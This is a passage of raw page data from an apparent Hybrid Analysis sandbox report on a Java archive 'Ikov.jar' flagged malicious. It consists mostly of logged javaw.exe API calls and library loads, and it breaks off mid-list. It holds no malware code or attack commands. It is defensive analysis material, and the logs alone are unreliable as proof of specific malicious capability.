34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 57:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T425,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample 7d89b002f9c1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 7d89b002f9c1…. Threat score 100/100. 0/27 AV engines flagged this file. 5 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239"],"about":{"@type":"SoftwareApplication","name":"Ikov.jar","applicationCategory":["java","compressed","jar"],"identifier":"7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:Tc47,"javaw.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860) "javaw.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860) "javaw.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938c9cdff7f000080000000000000000000000000000000505c25d906020000103380d0ff7f00000000000000000000000062cfff7f0000c0da9f3cc70000001041c6cdff7f0000502bc7c10602000080da9f3cc7000000000000000000000000000000000000000100000000000000b840c6cdff7f000000000000000000000100000000000000000062cfff7f00003b4d12ceff7f0000000000000000000038df9f3cc70000000000000000000000d02a74cfff7f000010b3dacfff7f0000e8f8c5cdff7f000010b3dacfff7f0000d02a74cfff7f00000d000000ff7f00000d00000000000000a0f6cacfff7f0000f5876fcfff7f0000d02a74cf (UID: 00000000-00000860) "javaw.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860) "javaw.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000101b2ecbff7f000090d1d8da0602000036c980d0ff7f00000300000000000000681e7ed0ff7f0000000000000000000000d1d8da06020000a00000000000000011000110c70000000001000000000000e3dbb2ceff7f000000ce9f3cc700000000ce9f3cc700000000ce9f3cc7000000403be0a3ff7f0000905de0a3ff7f00004a36d4a3ff7f0000403be0a3ff7f0000a85de0a3ff7f0000403be0a3ff7f0000a85de0a3ff7f0000805de0a3ff7f00006136d4a3ff7f00000000000000000000b018d2c106020000d018d2c10602000000009f3cc7000000785de0a3ff7f0000bddbb3ceff7f00000000000000000000a05de0a3ff7f000000000000 (UID: 00000000-00000860)37:T45d,"javaw.exe" called "GetVersionExA" with parameter 9c0000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000001f4de8680000000000b1bac1 (UID: 00000000-00000860) "javaw.exe" called "GetVersionExA" with parameter 9c0000000a000000000000005d580000020000000000450063003200700061005c0041007000700044006100740061005c004c006f00630061006c005c00540065006d0070005c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860) "javaw.exe" called "GetVersionExA" with parameter 9c0000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000860)38:T626,"javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\bin\java.dll" at 00000000-00000860-00000C17-2388597107 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\bin\server\jvm.dll" at 00000000-00000860-00000C17-2388602211 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\bin\java.dll" at 00000000-00000860-00000C17-2388603112 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\bin\java.dll" at 00000000-00000860-00000C17-2388634771 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\bin\java.dll" at 00000000-00000860-00000C17-2388666829 "javaw.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\hsperfdata_COEc2pa\860" at 00000000-00000860-00000C17-2389019312 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\lib\resources.jar" at 00000000-00000860-00000C17-2389070818 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\lib\rt.jar" at 00000000-00000860-00000C17-2389071491 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\lib\jsse.jar" at 00000000-00000860-00000C17-2389072131 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\lib\jce.jar" at 00000000-00000860-00000C17-2389072882 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\lib\charsets.jar" at 00000000-00000860-00000C17-2389073552 "javaw.exe" queries volume information of "C:\Program Files\Java\jre-1.8\lib\jfr.jar" at 00000000-00000860-00000C17-238907420239:Tc20,"javaw.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Java\jre-1.8\bin\vcruntime140.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Java\jre-1.8\bin\vcruntime140_1.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Java\jre-1.8\bin\msvcp140.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Java\jre-1.8\bin\server\jvm.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Java\jre-1.8\bin\verify.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Java\jre-1.8\bin\java.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Java\jre-1.8\bin\zip.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Java\jre-1.8\bin\awt.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\user32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.DLL (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\opengl32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter COMCTL32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\d3d9.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter d3d10warp.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter ext-ms-win-core-resourcepolicy-l1-1-0.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter IMM32.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Java\jre-1.8\bin\fontmanager.dll (UID: 00000000-00000860) "javaw.exe" called "LoadLibrary" with a parameter dbghelp.dll (UID: 00000000-00000860)3a:T93a8,"javaw.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter JNI_CreateJavaVM (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter JNI_GetDefaultJavaVMInitArgs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter JDK_GetVersionInfo0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorControl (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ZIP_Open (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ZIP_Close (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ZIP_FindEntry (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ZIP_ReadEntry (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ZIP_ReadMappedEntry (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ZIP_GetNextEntry (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ZIP_CRC32 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Canonicalize (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Object_registerNatives (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_System_registerNatives (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Thread_registerNatives (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_security_AccessController_getStackAccessControlContext (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_security_AccessController_getInheritedAccessControlContext (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Class_registerNatives (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_security_AccessController_doPrivileged (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ClassLoader_registerNatives (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_security_AccessController_doPrivileged__Ljava_security_PrivilegedAction_2 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Class_forName0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Throwable_fillInStackTrace (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_reflect_Reflection_getCallerClass (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_reflect_Reflection_getCallerClass__ (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Class_getPrimitiveClass (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Float_floatToRawIntBits (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Double_doubleToRawLongBits (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Double_longBitsToDouble (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_misc_VM_initialize (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter JVM_GetVersionInfo (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_System_initProperties (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter NewStringPlatform (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Runtime_maxMemory (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileInputStream_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileDescriptor_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileDescriptor_set (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileOutputStream_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_security_AccessController_doPrivileged__Ljava_security_PrivilegedExceptionAction_2 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_String_intern (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Class_isAssignableFrom (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_System_setIn0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Object_getClass (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_reflect_Reflection_getClassAccessFlags (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_reflect_NativeConstructorAccessorImpl_newInstance0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_concurrent_atomic_AtomicLong_VMSupportsCS8 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_System_setOut0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_System_setErr0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_WinNTFileSystem_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetFinalPathNameByHandleW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_System_mapLibraryName (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ClassLoader_findBuiltinLib (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter _JNI_OnLoad_zip@8 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter JNI_OnLoad_zip (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_WinNTFileSystem_getBooleanAttributes (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_WinNTFileSystem_canonicalize0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ClassLoader_00024NativeLibrary_load (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter _JNI_OnLoad@8 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter JNI_OnLoad (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_misc_Signal_findSignal (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_misc_Signal_handle0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_io_Win32ErrorMode_setErrorMode (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Compiler_registerNatives (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileInputStream_open0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileInputStream_readBytes (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileInputStream_available0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_reflect_Array_newArray (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Runtime_availableProcessors (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileInputStream_close0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_WinNTFileSystem_list (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_WinNTFileSystem_canonicalizeWithPrefix0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_misc_URLClassPath_getLookupCacheURLs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_jdk_internal_util_EnvUtils_getEnvVar (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_WinNTFileSystem_createDirectory (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ProcessImpl_getStillActive (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ProcessEnvironment_environmentBlock (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ProcessImpl_create (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_WinNTFileSystem_createFileExclusively (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileOutputStream_open0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileOutputStream_writeBytes (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_FileOutputStream_close0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter JVM_FindClassFromBootLoader (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ClassLoader_00024NativeLibrary_find (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_io_WinNTFileSystem_getLastModifiedTime (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_open (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_getTotal (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_startsWithLOC (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_getEntry (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_getEntryFlag (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_getEntryBytes (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_getEntryTime (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_getEntryCrc (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_getEntrySize (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_getEntryCSize (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_getEntryMethod (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_freeEntry (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_Inflater_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_Inflater_init (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_Inflater_inflateBytes (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_read (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_Inflater_reset (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_jar_JarFile_getMetaInfEntryNames (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_Inflater_end (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_util_zip_ZipFile_close (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ClassLoader_findLoadedClass0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ClassLoader_findBootstrapClass (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_security_AccessController_doPrivileged__Ljava_security_PrivilegedExceptionAction_2Ljava_security_AccessControlContext_2 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_ClassLoader_defineClass1 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Package_getSystemPackage0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_System_identityHashCode (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_security_AccessController_doPrivileged__Ljava_security_PrivilegedAction_2Ljava_security_AccessControlContext_2 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter _JNI_OnLoad_awt@8 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter JNI_OnLoad_awt (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetKeyboardLayout (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetDoubleClickTime (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter RegisterClipboardFormatW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter MapVirtualKeyExW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ToAsciiEx (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetKeyboardState (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_lang_Class_isInstance (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Toolkit_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Insets_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Component_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_AWTEvent_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_event_InputEvent_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WObjectPeer_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Font_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_reflect_NativeMethodAccessorImpl_invoke0 (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Container_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Window_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Frame_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_Cursor_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WToolkit_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_SurfaceData_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_image_ColorModel_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_java_awt_image_IndexColorModel_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_pipe_SpanClipRenderer_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_pipe_Region_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_windows_WindowsFlags_getScaleY (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetThreadDpiAwarenessContext (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_windows_WindowsFlags_initNativeFlags (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32GraphicsEnvironment_initDisplay (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CreateDCW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32GraphicsEnvironment_getNumScreens (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_Win32GraphicsDevice_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GdiAddGlsRecord (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GdiAddGlsBounds (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_java2d_Disposer_initIDs (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WToolkit_startToolkitThread (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter Java_sun_awt_windows_WToolkit_init (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter LoadIconW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter SetWindowsHookExW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter StrTrimW (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter RegisterTouchWindow (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter GetTouchInputInfo (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter CloseTouchInputHandle (UID: 00000000-00000860) "javaw.exe" called "GetProcAddress" with a parameter 